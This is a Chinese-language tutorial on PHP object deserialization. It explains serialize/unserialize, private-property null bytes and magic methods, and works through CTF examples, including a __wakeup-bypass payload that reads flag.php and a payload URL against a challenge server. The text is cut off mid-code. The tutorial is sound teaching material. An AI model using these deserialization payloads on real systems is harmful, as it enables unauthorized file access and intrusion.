大佬你好,你写的很清楚,我有一个地方不明白。绕过wakeup那里:
构造序列化对象:O:5:"SoFun":1:{S:7:"\00\00file";s:8:"flag.php";}
绕过__wakeup:O:5:"SoFun":2:{S:7:"\00\00file";s:8:"flag.php";}
请问这里的为什么会有一个大写的S,我这里卡了很久,才发现你文章上边是大写的S
serialize() //将一个对象转换成一个字符串
unserialize() //将字符串还原成一个对象
通过序列化与反序列化我们可以很方便的在PHP中进行对象的传递。本质上反序列化是没有危害的。但是如果用户对数据可控那就可以利用反序列化构造payload攻击。
<?php
class test
{
private $flag = "flag{233}";
public $a = "aaa";
static $b = "bbb";
}
$test = new test;
$data = serialize($test);
echo $data;
?>
反序列化可以控制类属性,无论是private还是public
O:4:"test":2:{s:10:"testflag";s:9:"flag{233}";s:1:"a";s:3:"aaa";}
O:<class_name_length>:"<class_name>":<number_of_properties>:{<properties>}
这里说明一下序列化字符串的含义:
O:4:"test"
指Object(对象) 4个字符:test
:2
对象属性个数为2
{}中为属性字符数:属性值
注意:可以看到testflag的长度为8,序列化中却显示长度为10。这是因为它是private属性,翻阅文档就可以看到说明,它会在两侧加入空字节。
所以在传入序列化字符串进行反序列化时需要注意补齐两个空字节。
<?php
$str = 'O%3A4%3A%22test%22%3A2%3A%7Bs%3A10%3A%22%00test%00flag%22%3Bs%3A9%3A%22flag%7B233%7D%22%3Bs%3A1%3A%22a%22%3Bs%3A3%3A%22aaa%22%3B%7D';
$data = urldecode($str);
$obj = unserialize($data);
var_dump($obj);
?>
在利用对PHP反序列化进行利用时,经常需要通过反序列化中的魔术方法,检查方法里有无敏感操作来进行利用。
__construct()//创建对象时触发
__destruct() //对象被销毁时触发
__call() //在对象上下文中调用不可访问的方法时触发
__callStatic() //在静态上下文中调用不可访问的方法时触发
__get() //用于从不可访问的属性读取数据
__set() //用于将数据写入不可访问的属性
__isset() //在不可访问的属性上调用isset()或empty()触发
__unset() //在不可访问的属性上使用unset()时触发
__invoke() //当脚本尝试将对象调用为函数时触发
serialize() 函数会检查类中是否存在一个魔术方法 __sleep()。如果存在,该方法会先被调用,然后才执行序列化操作。此功能可以用于清理对象,并返回一个包含对象中所有应被序列化的变量名称的数组。如果该方法未返回任何内容,则 NULL 被序列化,并产生一个 E_NOTICE 级别的错误。
对象被序列化之前触发,返回需要被序列化存储的成员属性,删除不必要的属性。
unserialize() 会检查是否存在一个 __wakeup() 方法。如果存在,则会先调用 __wakeup 方法,预先准备对象需要的资源。
预先准备对象资源,返回void,常用于反序列化操作中重新建立数据库连接或执行其他初始化操作。
实例:
<?php
class Caiji{
public function __construct($ID, $sex, $age){
$this->ID = $ID;
$this->sex = $sex;
$this->age = $age;
$this->info = sprintf("ID: %s, age: %d, sex: %s", $this->ID, $this->sex, $this->age);
}
public function getInfo(){
echo $this->info . '<br>';
}
/**
* serialize前调用 用于删选需要被序列化存储的成员变量
* @return array [description]
*/
public function __sleep(){
echo __METHOD__ . '<br>';
return ['ID', 'sex', 'age'];
}
/**
* unserialize前调用 用于预先准备对象资源
*/
public function __wakeup(){
echo __METHOD__ . '<br>';
$this->info = sprintf("ID: %s, age: %d, sex: %s", $this->ID, $this->sex, $this->age);
}
}
$me = new Caiji('twosmi1e', 20, 'male');
$me->getInfo();
//存在__sleep(函数,$info属性不会被存储
$temp = serialize($me);
echo $temp . '<br>';
$me = unserialize($temp);
//__wakeup()组装的$info
$me->getInfo();
?>
运行结果:
__toString() 方法用于一个类被当成字符串时应怎样回应。例如 echo $obj; 应该显示些什么。此方法必须返回一个字符串,否则将发出一条 E_RECOVERABLE_ERROR 级别的致命错误。
<?php
class Caiji{
public function __construct($ID, $sex, $age){
$this->ID = $ID;
$this->sex = $sex;
$this->age = $age;
$this->info = sprintf("ID: %s, age: %d, sex: %s", $this->ID, $this->sex, $this->age);
}
public function __toString(){
return $this->info;
}
}
$me = new Caiji('twosmi1e', 20, 'male');
echo '__toString:' . $me . '<br>';
?>
运行结果:
这是D0g3平台一道很简单的反序列化的题,GET读str内容进行反序列化等于$KEY就get flag了
<?php
error_reporting(0);
include "flag.php";
$KEY = "D0g3!!!";
$str = $_GET['str'];
if (unserialize($str) === "$KEY")
{
echo "$flag";
}
show_source(__FILE__);
payload:http://120.79.33.253:9001/?str=s:7:%22D0g3!!!%22
<?php
class SoFun{
protected $file='index.php';